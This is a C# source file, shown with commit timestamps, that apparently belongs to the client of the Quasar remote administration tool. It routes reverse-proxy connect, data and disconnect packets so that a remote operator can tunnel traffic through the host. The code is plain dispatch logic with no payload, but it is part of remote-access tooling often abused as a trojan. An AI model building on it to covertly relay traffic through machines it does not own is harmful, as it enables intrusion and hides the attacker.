Quasar/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs

38 lines
1.3 KiB
C#
Raw Normal View History

2015-05-10 10:02:10 -07:00
using xClient.Core.Packets;
using xClient.Core.ReverseProxy.Packets;
namespace xClient.Core.ReverseProxy
{
public class ReverseProxyCommandHandler
{
2015-05-10 10:02:10 -07:00
public static void HandleCommand(Client client, IPacket packet)
{
2015-05-10 10:02:10 -07:00
var type = packet.GetType();
if (type == typeof (ReverseProxyConnect))
{
2015-05-10 10:02:10 -07:00
client.ConnectReverseProxy((ReverseProxyConnect) packet);
}
2015-05-10 10:02:10 -07:00
else if (type == typeof (ReverseProxyData))
{
2015-05-10 10:02:10 -07:00
ReverseProxyData dataCommand = (ReverseProxyData)packet;
ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId);
if (proxyClient != null)
{
2015-05-10 10:02:10 -07:00
proxyClient.SendToTargetServer(dataCommand.Data);
}
}
2015-05-10 10:02:10 -07:00
else if (type == typeof (ReverseProxyDisconnect))
{
2015-05-10 10:02:10 -07:00
ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet;
ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId);
2015-05-10 10:02:10 -07:00
if (socksClient != null)
{
2015-05-10 10:02:10 -07:00
socksClient.Disconnect();
}
}
}
}
}